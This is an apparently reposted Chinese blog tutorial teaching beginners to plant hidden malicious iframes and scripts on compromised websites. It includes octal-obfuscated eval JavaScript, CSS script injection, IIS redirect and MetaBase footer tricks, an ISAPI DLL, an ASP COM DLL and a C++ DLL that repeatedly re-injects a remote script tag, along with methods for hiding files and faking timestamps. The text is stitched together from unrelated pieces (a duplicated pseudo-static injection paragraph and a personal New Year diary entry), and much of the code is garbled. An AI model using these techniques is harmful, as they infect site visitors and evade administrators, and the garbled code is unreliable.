突破伪静态的四种注入方法
伪静态,主要是为了隐藏传递的参数名,伪静态只是一种URL重写的手段,既然能接受参数输入,所以并不能防止注入。目前来看,防止注入的最有效的方法就是使用LINQ。常规的伪静态页面如下:http://www.XXX.com/play/Diablo.html, 在看到之前先要确定这个页面是静态还是伪静态,鉴别方法很多。
伪静态,主要是为了隐藏传递的参数名,伪静态只是一种URL重写的手段,既然能接受参数输入,所以并不能防止注入。目前来看,防止注入的最有效的方法就是使用LINQ。常规的伪静态页面如下:http://www.XXX.com/play/Diablo.html, 在看到之前先要确定这个页面是静态还是伪静态,鉴别方法很多。
开始语
摘自 : dashige's捕捞歌
目录
一 最简单的挂马方式
1.iframe挂马法
2.js文件挂马法
3.CSS中挂马
二 挂马技术升级—进阶篇
1.window.status=''方式
2.JS重定向挂马
3.手动挂马文件隐藏小技巧
三 服务器上挂马技术
1.MetaBase.mxl
2.ISAPI加载挂马
四 GXM挂马时的辅助工具与技巧
1.ASP封包挂马
GXM挂马时的辅助工具与技巧
2.修改最后文件修改日期工具
GXM挂马时的辅助工具与技巧
3.监控特定文件自动插马的无赖工具
五 最后总结
开始语
很多人非常鄙视挂马,但作为HACK必须了解的技术,我们还是要研究的。本文将很细致的讲解挂马,主要就是让一无所知的菜鸟懂得如何挂马。
一,最简单的挂马方式
1. iframe挂马法
作为挂马中最常用的语句,虽然简单,但还是要说下,为了广大的菜菜们。首先解释下iframe标签,它代表HTML内联框架,尤其是以下属性:
提示:
name 定义两人内容页名称,此名称在框架页内连接时会使用到
frameborder 定义了内容页的边框,取值为(1|0).缺省值为1
marginwidth 定义可框架中HTML文件显示的上下边界的宽度,取值为px,缺省值由浏览器决定
marginheight 定义可架框中HTML文件显示左右边界的宽度,取值为px,缺省值由浏览器决定
elign 垂直或水平方式
height 框架的高度
width 框架的宽度
一 般我们常用的属性就是height和width,因此为了让客户看不到我们的网马,就设置height为0,width为0.我们本地测试下,利用记事本 新建一个文件,然后输入代码:<iframe src=http://www.baidu.com width=50></iframe>,保存为*.htm文件。
当把width和height都设置为0后,页面就相当于被"隐藏"了起来,实际中只要把以上代码中src后的地址改成网马地址就可以了。
2. js文件挂马法
由于iframe所利用的代码很明显,由经验的管理员一搜索就可以找到,所以又有人想出了js文件挂马,这招在06年的时候很流行,现在还是主流哦!
首 先建立一个文件,保存为1.htm,里面写入代码为:<script language=javascript src='http://137.0.0.1/tg.js'></script>,因为我是在本地测试的,目录是D:\website 里面有个tg.js文件。
tg.js文件里写挂马语句,比如说:
document.write("<iframe src=http://www.c3389.com width=100 height=100></iframe>");
好了,写完后保存文件,然后访问下1.htm就可以看到效果了。
其实
<script language=javascript src='heep://127.0.0.1/tg.js'></script> 就是调用了tg.js这个文件,当别人访问1.htm的时候就调用tg.js,然后再根据tg.js文件里的内容去访问我们的网马。
这 样,管理员在1.htm中搜索iframe就与挂马无关了,但我们却又能调用网马。 为了让管理员搜索不到iframe字样,最好的办法还是对js文件里的内容进行加密,复制我们JS文件里的内容,把他们转成其他进制。我这有个软件可以进 行转化操作,将要加密的内容复制到"要转的"输入框里,然后单击"给我转!",分别就会在"输出的八进制"和"输出的十六进制"处出现转换后的内容,然后 我就转换八进制复制下来,在js文件里这么写:
eval("\144\157\143\165\155\145\156\164\56\167\162\151\164\145\50\42\74\151\146\162\141\155\145\40\163\142\143\75\150\164\164\160\72\57\57\147\147\147\56\142\141\151\155\165\56\143\157\155\40\167\151\144\164\150\75\61\60\60\40\150\145\151\147\150\164\75\61\60\60\76\74\57\141\146\162\141\155\145\76\42\51\73")
这样就OK了!已经没有iframe字样了,这确实在早期是个挂马的好招,但是现在这几招也骗不了厉害的管理员了,所以挂马技术还要在研究下去……
3.CSS中挂马
要 想在CSS文件中挂马,先来了解什么是CSS文件。CSS是Cascading Style Sheets的简称,一般称为"层叠样式表",实际上它是一组样式。你可能对CSS这个名词比较陌生,实际上你在浏览网页时,当前网页页面说不定就使用了 CSS。用好CSS能使网页编辑者在排版和设置功能时更加明了。
CSS的语句是内嵌在HTML文档内的,所以,编写CSS的方法和编 写HTML文档的方法一样,只需要在引用CSS的页面部插入<link href="css.css" type="text/css" rel="stylesheet">这样的代码即可。其实就是在当前页面调用外部文件的实现。这跟挂马自然比较"亲近"了。
现在我们就 来CSS中的挂马。首先建立一文件为1.htm,然后写入<link href="css.css" type="text/css" rel="stylesheet">并且保存。接着在同目录下用记事本新建一个css.css文件,里面代码如下
body { background-image: url('javascript:document.write("<lframe src=http://www.c3389.com width=50 height=50></iframe>")') }
再次访问 1.htm,成功调用百度的页面,图就不抓了,和以前没什么区别。不过听网上说,这样的办法会把网站搞乱,说不定会一片空白。那好吧,我们继续网上教的办 法,首先建立一个gxm.htm文件,里面调用CSS文件。调用代码为<link href="css.css" type="text/css" rel="stylesheet">,然后在css.css文件里写入如下代码:
body { background-image: url(javacrip:open('http://127.0.0.1/gxml.htm'.'newwindow'.height=0. width=0. top=1000. left=0. toolbar=no. scrollbars=no. resizable=no.location=no. atus=no')) }
以上代码是弹出一个窗口,为了部让网站成为一片空白,所以在gxml.htm文件里我们还要继续动手,写段调用js文件的代码,顺便再写段关闭窗口的代码,全部代码如下:
<script src="http://127.0.0.1/gxm.js"></script> '这个就是我们要真正放木马的地方 <script> window.opener=null; steTimeout("window.close();".5000) '意思是5秒关闭对话框,你可以设置,5000的单位是毫秒,5000毫秒就=5秒。 </script> 然后在gxm.js文件里加入这段代码:
document.write('<lframe src=http://www.c3389.com width=500 height=500></iframe>'); 编写好后,我们浏览gxm.htm文件,弹出一个窗口,窗口中的内容是调用的指定站点,大家可以把它修改为自己的挂马的地址。
好了,最基础的部分结束了,我也把自己会的东西很详细地说了一遍,目地还是为了我们这些什么都不懂,而又想学习的菜鸟。当然,这类菜鸟先要懂得如何使用 webshell,这个是前提。至于高手,可以跳过这部分,下面的一大部分里准备了进阶篇,可能有些内容对于高手来说还是比较简单的,但这几招没有被重 视。
二 挂马技术升级—进阶篇
1.window.status='';方式
大家在尝试用iframe的时候,有没有发现IE6.0浏览器中下面的状态栏会出现网马的地址?对于有经验的管理员来说,不是自己网站和熟悉的地址,查看后在一访问就知道是网马。因此,我们要让这个地址不能出现。
现在解释下window.status='';是什么意思,其实它是JS中的windows对象,status只不过是它的属性而已。有关windows对象的介绍如下
---------------------------------------------------------------------------------------------------------------------------------------------
windows对象
它是一个顶层对象,而不是另一个对象的属性
相关属性
defaultStaus 缺省的状态条消息
document 当前显示的文件
frame 窗口里的一个架框,该属性本身也是一个对象
frames array 列举窗口的架框对象的数组,按照这些对象在文档中出现的顺序列出,该属性本身也是一个对象
history 窗口的历史列表,该属性本身也是一个对象
length 窗口类的框架数
location 窗口所显示的文档完整(绝对)URL,该属性本身也是一个对象,不要把它如document,location混淆,后者是当前显示文档的URL。用户可 以改变windows,location(用另一个文档取代当前文档),但却不能改变document,location(因为这是当前显示文档的位置)
name 窗口打开时,赋予该窗口的名字
opener 代表使用windows.poen打开当前窗口(这是Netscape Navigator 3.Obeat 3所引入的新属性)
parent 包含当前架框的窗口的同义词。frame和windows对象的一个属性
self 当前架框的窗口的同义词
status 状态条中的消息
top 包含当前架框的最顶层浏览器窗口的同义词
window 当前窗口或架框的同义词,一self相同
方法
alert() 打开一个Alert消息框
clearTimeout() 来终止setTimeout方法的工作
close() 关闭窗口
confirm() 打开一个Confirm消息框,用户可以选择OK或Cancel。如果用户单击OK,该方法返回true,单击Cancel返回false
biur() 把焦点从指定窗口移开(这是Netscape Navigator 3.0 beta 3 映入的新方法)
foc() 把指定的窗口带到前台 (另一个新方法)
open() 打开一个新窗口
prompt() 打开一个Prompt对话框,用户数可向该框键入文本,并把键入的文本返回到脚本
setTinmeout() 等待一定指令的毫秒数时间,然后运行指令处理程序
Onliad() 页面加载时触发
Onunload() 页面关闭是触发
--------------------------------------------------------------------------------------------------------------------------------------------
这 样,一般只要在JS文件里这样写:window.status='狂人影子';,就能在IE左脚下那里出现"狂人影子"的字样了,而不会出现地址了。当 然,如果把"狂人影子"用空格代替,IE左脚下显示就是空白了,因此,JS挂马的是时候,我们可以在JS文件里写入如下代码:
window.status="": document.write("<iframe src=http://www.c3389.com width=0 height=0></ifame>"); 其实,我在搞入侵的时候,无意看到别人的代码是这样写的:
window.defaultStates="完成";这又什么用?看看defaultStates属性的解释把,其实是个障眼法,应用的很巧妙,呵呵……(看不明白的话,你的悟性还不够啊!)
2.JS重定向挂马
这 招其实在以前的《黑客手册》上出现过,是剑心大牛的以前文章,我个人感觉这招太牛了,优点就是能躲过N多管理员,缺点就是目标的网站JS文件必须流量大, 这样才有挂马的效果,呵呵!本菜以前有幸入侵过一个音乐站,流量N大,但是它的站右下角经常出现一个JS控制的,类似QQ消息的那种东西。因此。我用了剑 心大牛的那招,因为网马免杀,管理员察觉后查了N天都查不到,最后无赖而重装系统来解决问题。至于这个是什么招?让我来一一解答。
如果你碰到一个流量很大的JS文件(特别是一些音乐站点的音乐播放列表),并且有管理员权限,服务器的WEB是用的微软的IIS,保证网马免杀,速度不卡,那么安定日子你就可以过下去了…………
神神秘秘说了那么多,很吊大家胃口啊,其实就是在JS文件上做手脚!
大 家还记得IIS配置漏洞吗?就是建立一个没有路径的虚拟目录,这样在IIS里是不可见的,比如一个站的流量JS文件是gsm.js,那么我们也建立一个没 有物理路径的虚拟目录gxm.js,然后重定向文件到我们设置的远程地址的JS文件,自然那个原本的JS文件就失去作用了,因为虚拟目录优先于物理目录。 说了这么多。可能很多菜鸟不懂,那我们来实践下就非常明白了。
adsutil.vbs文件放在C:\inetpub\Adminscripts\adsutil.vbs CREATE WSVC/1/Root/gxm "llsWebVirtualDir"
大家可能什么都不懂,我们可以输入cscript Adsutil.vbs来看一下返回信息:
------------------------------------------------------------------------------------------------------------------------
Usage:
ADSUTIL.vbs<cmd>[<path>[<value>]]
Description:
IIS administration utilit that enables the configuration of metabase properties
Supported Commands: //支持的命令,这个最重要
GET.SET.ENUM.DELETE.CREATE.COPY.APPCREATEINPROC.APPCEATEOUTPROC.APPCREATEPOOLPROC.APPDELETE.APPUNLOAD. APPGETSTATUS
------------------------------------------------------------------------------------------------------------------------
可 以看见,重要的就是支持的Supported Commands命令,我们刚刚输入的命令中,就用了CREATE这个命令。在回头来看看建立虚拟目录的命令,参数中W3SVC/1/Root/gxm代 表是只第一个web服务器地址里的虚拟目录gxm,因此我们要找的就是我们站点的web服务地址。
不可能IIS里就一个站把?现在许多用虚拟主机 的服务器,一般IIS里可能有上百个站呢!我们该怎么的快速寻找了?本人奉献自己的经验给大家:安装IIS后,在服务器上一般都有 MetaBase.xml这个文件(注意,我的XP系统里却没有这个文件。一般的服务器只要安装了IIS,都应该有这个Metbase.xml这个文 件),它的位置在C:\windows\system32\inetsrv下.
一般我们挂马的站点那个站的域名,搜索http://www.c3389.com,大家看见没有那个Location =后面的一串信息就是我们需要挂的站http://www.c3389.com里的目录了,真正应用时还应该加上root,完整的地址是/ML/W3SVC/1540331721/ROOT.
得到了地址,下面就可以打开CMD来创建我们的虚拟不可见的目录了!命令如下:
------------------------------------------------------------------------------------------------------------------
cscript C:\inetpub\AdminScripts\adsutil.vbs CREATE W3SVC/1/Root/gxm/ "llsWebVirtualDir"
创建gxm虚拟无物理路径的目录
cscript C:\inetpub\AdminScripts\adsutil\adsutil.vbs CREATE W3SVC/1/Root/gmx/gmx.js "llsWebVirtualDir"
在gxm虚拟目录里创建gxm.js虚拟无物理路径的目录.
-----------------------------------------------------------------------------------------------------------------------------
接下来就是重定向目录了,命令为:c:\inetpub\adminscripts\adsutil.vbs setW3VC/1/Root/gxm/gxm.js/httpredirecrhttp://www.c3389.com/ADMIN/LDJT/sms.js
-------------------------------------------------------------------------------------------------------------------------------
这样我们一执行,因为虚拟目录比物理路径优先,所以只要调用gxm.js这个文件,就会先访问我们虚拟目录里的这个。但是这个文件因为被我们重定向了,所以会传到
http://www.c3389.com/ADMIN/LDJT/sms.js去,因为这个sms.js文件控制了真正的物理路径里的gxm.js文件。就算管理员这么修改物理路径里的gxm.js,其结果还是去调用我们的sms.js文件。
这样,只要我们在sms.js文件里挂马就行了,呵呵……很巧妙的一招吧!大家要多多练习才能熟练哦
3,手动挂马文件隐藏小技巧
接下来讲讲本人对付一些笨蛋管理员的小招(看过本文的就不能算是笨蛋管理员了),还记得病毒是怎么隐藏自身文件的吗?他们一般就是修改注册表的相关键值,那我们和不利用下?
比如我们有个数据库连接文件comm.asp,由于每个文件都调用,因此就可以把挂马语句放在最里面然后对他进行加隐藏和只读属性(实现把挂马语句放进去)的操作。怎么加了?在CMD模式下输入命令
: attrib +r +h 文件即可。
-r -h -s 的意思就是取消指定文件或目标的只读.隐藏.系统属性,相反的 +r +h +s 就是加上只读.隐藏.系统属性。
当 把文件加了隐藏属性后,一定要把"资源管理器"- "工具"-"文件夹选项"里的"显示隐藏文件"屏蔽掉!我们可以通过简单的修改注册表来达到目地。进入注册表,找到 HKEY_LOCAL_MACHINESOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHWALL 下的CheckedValue值,修改成0就可以了,1是恢复,当修改成0后,"显示隐藏文件"就固定在不显示的那个选项上了。
这个是从病毒里学习到的小技巧,看来研究病毒还是很有用的,呵呵……这部分就结束了,下面还又跟我来的挂马技术等着大家了。
三,服务器挂马技术
其实挂马肯定得在服务器上挂的,但这里的服务器挂马是讲利用服务器本身相关文件进行挂马,而且这些文件比较特殊,一般管理员还不能删除。在服务器上挂马,只要流量大,那个效果真是……当
然,得先用netstat -an来看看连接80端口的个数,选择好目标就准备下手了。
1、MetaBase.xml文件修改挂马
大家应该还记得我们在前面才刚刚说过的MetaBase.mxl文件吧?位置在C:\WINDOWS\SYSTEM32\inetsrv,它可真的很重要!首先我们必须有这个服务器的管理权限,然后打开MetaBase.mxl文件,搜索
DefaultDoc="Default.aspx,Default.htm,Default.htm,Default.asp,index.htm,index.asp",
然 后在DefaultDoc下面,DirBrowseFlags的上面加一段话,就是: DefaultDocFooter="FILE:C:\inetpub\wwwroot\iisstart.htm",这个在C:\Inetpub \wwwroot\iisstart.htm 文件里写我们挂马的语句,尽量隐蔽点。接着在DownlevelAdminlnstance="1"下面 再添加一句EnableDocFooter="TRUE",完成后如下
------------------------------------------------------------------------------------------------------------------------------------------------
DefaultDoc="Default.aspx,Default.htm,Default.asp,index.htm,index.asp"
DefaultDocFooter="FILE:C:\inetpub\wwwroot\iisstart.htm"
DirBrowseFlags="DirBrowseShowDate | DirBrowseShowTime | DrBrowseShowSize | DirBrowseShowExtension | DirBrowseShowLongDate | EnableDefaultDoc"
DownlevelAdminlnstance="1"
EnableDocFooter="TRUE"
------------------------------------------------------------------------------------------------------------------------------------------------
这 个时候我们肯定保存不了,因为IIs在调用这个文件,那这么办?我们必须停止IIS!在CMD中输入iisreset /stop,然后以最快的速度保存文件。保存好后,在CMD中输入iisreset /start重新启动IIS,然后就等着服务器流量给你的快感吧,呵呵……
2.ISAPI加载挂马
小知识:
什么是ISAPI: 它是互联网服务应用程序编程接口(Internet Sever Application Programming Internet)的缩写,是一组API函数,可以用来开发扩展IIS程序
------------------------------------------------------------------------------------------------------------------------------------------------
这种方法需要使用一些工具,步骤是:首先打开GetiD.exe获取注册号,然后运行IIS_AD.exe生成DLL文件,加载到IIS应用池就OK了。有了它,服务器任何的一个页面都会广告代码或者网马代码。
我们先看看初始的IIS_AD.ini文件里的内容:
Copy code
[IIS_AD]
ADjs=<script language='JavaScript>alert(' Welcome to User IIS AD ! ' );</script>
------------------------------------------------------------------------------------------------------------------------------------------------
现在开始注册,首先打开GetID.exe,然后点获取,获得注册账号,复制下注册号,然后打开IIS_AD.exe,把注册号粘贴进去,接着把时间调远点,最后点生成。
接着我们修改iis_ad.ini的文件,它本来是:
[IIS_AD]
ADjs=<script language=' javasecript' >alert(' Welcome to User IIS AD ! '):</script>
我们就修改成
[IIS_AD]
ADjs=<iframe scr=http://http://www.c3389.com width=600 height=700></iframe>
------------------------------------------------------------------------------------------------------------------------------------------------
下面我们要把ad.dll和iis_ad.ini这两个文件藏的深一点,打开IIS在("控制面板"—"管理工具"—"Internet 信息服务"),在要挂马的站点上按鼠标右键选择"属性",在"ISAPI"标签选项中,把我们的DLL文件添加进去。
好了,现在随便访问这个站的一个页面就会执行我们的代码,我在XP下的IIS测试通过。在2003下,我要说点事情,加载DLL文件的时候,首先把DLL和INI放到一个目录,然后给予足够的权限,在加载
ISAPI DLL文件。接着在IIS下"允许所有未知ISAPI",在WEB服务扩展下加载DLL文件,然后重启IIS
四. gxm挂马时的辅助工具与技巧
最后一大部分了,也是我自己在挂马中所领悟出来的超级独家经验大放送的时候了,呵呵。可能技术不太高超,但也是自己的一点心得,与大家分享,希望大家好好学习。
1. ASP封包挂马
大家知道吗?有些高级的ASP代码是封装在DLL文件里面的,比如自己开发的ASP组件,目的就是不公布代码,而且一些自己用ASP脚本写的常用函数也可以封装在DLL里。挂马技术就是为了让管理员看不到我们的iframe标签,因为有iframe才能挂马。
不知道这种ASP封包挂马技术大家自己手动搞过没有?反正是我自己想出来的,就算别人以前也知道,那也是思路相同而已,绝不存在抄袭,我在这里就教给大家吧。前提条件是要求我们有管理员权限(毕竟DLL文件是需要注册的)和目标必须是用ASP脚本建立的站点。
其实也很简单,就是利用VB写一个简单的ASP封装程序而已。至于代码我就不解释了,就教下怎么操作就行了,首先我们需要安装一个完整的VB编译器,打开VB,选择ACTIVEXDLL工程
然 后选择"打开",在上面点"工程"—"引号",进入选择页面,选择"Microsoft Active SerVer Pages Object Library",然后"确定"即可。菜鸟不用学习代码是什么意思,反正我是花了很长时间反复测试,终于编译成功了,大家就用我的代码吧。
-----------------------------------------------------------------------------------------------------------------------------------------------
private MyScriotingContext As ScriptingContext private MyResponse As Response public Sub OnStartPage(PassedScriptingContext AS ScriptingContext) Set MyScriptingContext = PassedScriptingContext Set Myresponse = MyscriptingContext.Response End Sub Public Sub OnEndpage() Set MyResponse = Nothing End Sub Public Sub Start() MyResponse.Write "<script language+javasecript src='http://127.0.0.1/gxm.js'></script>" End Sub ------------------------------------------------------------------------------------------------------------------------------------------
直接把以上代码复制进去,大家如果需要改的话,就改
MyResponse.Write "<scriptlanguage=javascript src='http://127.0.1/gxm.js'></script>" 这句,意思应该都能明白
ASP是需要调用的,那就需要调用名。其实这些组建的名字改工程名就是了,在右边选择工程名,我改成vlegxm。
然后修改类名为gxml,调用方法如下:
<% Set ObjReference=Sever.CreateObject("gxm.gxm1") ObjReference = nothing %> 好了现在利用VB编译下,选择"文件"—"生成",gxm.dll文件所生成的目录,然后执行命令"regsvr32 gxm.dll进行注册
好了现在建立了一个1.asp文件,里面就写调用的代码。因为我们的组件调用的是 http://127.0.0.1/gxm.js,因此我们还要再建立一个gxm.js文件,里面写入如下代码:
document.write('<iframe src=http://www.c3389.com width=500 height=500> </iframe>'); 现在我们去访问下看看
呵呵,在实际应用中,一般conn.asp这样的数据库连接文件不是也要调用组件吗?我们就写到里面去迷惑管理员,这样就查不到iframe标签了!还有两个小的心得,休息一下,我们继续。
2.修改最后文件修改日期工具
前 面刚刚给大家介绍过利用ASP封包挂马,只要修改下conn.asp文件进行调用就可以了。不过管理员只要通过查看修改的 "文件时间" 就能知道什么文件被修改过了,然后覆盖掉站点内觉得可疑的文件,我们的成果就又完蛋了!因此我们不能让管理员察觉到时间不对,这里就来讲讲.修改文件的最 后修改日期.
我站点有一些ASP木马上有这类功能,但是有的是后因为权限的问题(很多时候需要管理员的权限)而无法修改,虽然提示却成功了,呵呵。小菜我自己写了个程序,就直接奉献给大家了,执行后会出现说明
一般我修改好conn.asp文件后,必须对它修改文件最后修改日期。这个小工具的参数有7个,大家应该都能看懂,比如我要修改教cmd.txt,然后照所进行命令执行就可以了。
3.监控特定文件自动插马的无赖工具
这个确实是个无赖,呵呵,以前碰到一个服务器上的管理员,他很会查我的代码,因此为了对付他,我特别自己写了个程序。其实也就是监控指定的文件,如果没有发现挂马语句,就马上插进去。
程序的主流是这样的:"先检查文件里有无挂马语句,没有的话,就给目标足够的访问权限,取消对自身的拒绝权限。以所有权先打开文件,定位到文件最后位置进行插马。接着再检测,有了就跳过,等一段时间再检测。
我的技术不足,就不知道怎么利用AIP函数来操作权限设置,无奈之下,只好在程序工程中用命令来代替了,这里把代码贴出来:
------------------------------------------------------------------------------------------------------------------------------------------------
#include "stdafx.h" #include"process.h" #include"windows.h" #include"string.h" #include"iostream.h" #include"fstream.h" char path2[256]="E:\\website\\default.asp"; char guama[256]="\n<scripc language=javascript src='http://http://www.c3389.com/ADMIN/LDJT/tg.js'></script>"; BOOL APIENTRY DIIMain( HANDLE hModule, DWORD uI_reason_for_call, ) { switch ( ul_reason_for_call ) { case DLL_PROCESS_ATTACH: { while(1) { ifrstream ifs(path2): char DileContent[5000]; memset(FileContent,0,5000);//初始化 FileContent ifs.read(FileContent,5000);//读取数据 ifs.close( )://关闭ifstream对象 if(strstr(FileContent,guama)==0) { char path[256]="E:\\website\\\\default.asp"; char mingling[256]="cacls"; strcat(mingling.path1); char ps[25]="/T /E /C /G everyone:F"; strcat(mingling.ps); char mingling1[256]="cacls "; strcat(mingling.path1); char pa[30]="/T /E /C /G administrator:F"; stcat(mingling1.pa); system(mingling); system(mingling1); SetFileAttributes(path2.GetFileAttributes(path1) & ~FILR_ATTRIBUTE_READONLY); ofstream outfile; outfile.open(path2,ios: :app); if (!outfile) { exit(o); } outfile<<guama; outfile.close( ); } Sleep(9000); } } default; return TRUE; } return TRUE; } -----------------------------------------------------------------------------------------------------------------------------------------------------
没有基础的朋友不要紧,只要安装个VC++6.0,然后建立一个EXE工程或DLL工程,主要代码就在里面了。我贴出来的是DLL工程代码,因为我有个插入进程的EXE程序,可以吧DLL插进去。不然很容易被管理员结束进程,从而导致无法监控。
当然,选择EXE工程的朋友,网上已经有些工具,能让京城隐藏、无法删除,或者rootkit等,大家喜欢怎么弄就怎么弄啦,只要把程序里3处地方进行修改即可。
----------------------------------------------------------------------------------------------------------------------------------------------------
char path2[256]="E:\\website\\default.asp";
char path1[256]="E:\\website\\default.asp";
char guama[256]"n<script language=javasceript src'=http://www.c3389.com/ADMIN/LDJT/tg.js'></script>";
-----------------------------------------------------------------------------------------------------------------------------------------------------
上面这段代码的前面两个都是我们需要监控的代码,第三个就是要插入的挂马语句代码,最终编译一下就OK了。其实这个办法只是为了让管理员郁闷而已,因为管理员每次都能检查到,几天后管理员肯定重装系统,如果你要折磨他的话……
这部分可能对于真正挂马菜鸟来说是有难度,毕竟是我的少部分心得而已,还是建议先把前面大家都学会的学号,呵呵!
五,最后总结
我 记得某期rabbitsafe兄弟写了一篇屏蔽iframe挂马的文章,其实以前管理员也是这么对我的,这东西还不错,要是配上我的组件封包这样调用,那 效果更佳了。为什么呢?因为管理员把iframe标签当成是测品,我们挂马的人碰到那样屏蔽的代码也和管理员一样,看见了就测,所以攻防永远是个永恒的话 题。呵呵,希望管理员能利用上ASP封包组件来调用屏蔽IFRAME,这样能更大的程度上保护网站的访问用户。
2011年已经成为往事,总结起来,过去的一年还是收获很多的,开始了自己喜欢的专业课,对网安有了理论加实际上的初步认识,从网络部退下来半年,看着小孩儿的成长,心里有了一点儿做父母的感觉,还有就是博客在新年以前出炉啦,当然还在调试,呵呵,不过也有不爽的事情,比如说哥的新浪微博,密码危机波及得很严重啊,呵呵,不管它了,总之,还是很好的一年~ 2012年已经到来了,还是很期待的呀,这学期课程很诱人啊,期待中~ 然后就慢慢努力吧,为了自己所喜欢的~呵呵,世界末日什么的,浮云浮云~ 就是因为末日,才更要让自己做不后悔的事,嗯嗯,一切努力…(其实发这篇日志主要是测试手机发日志的效果的,哈哈~)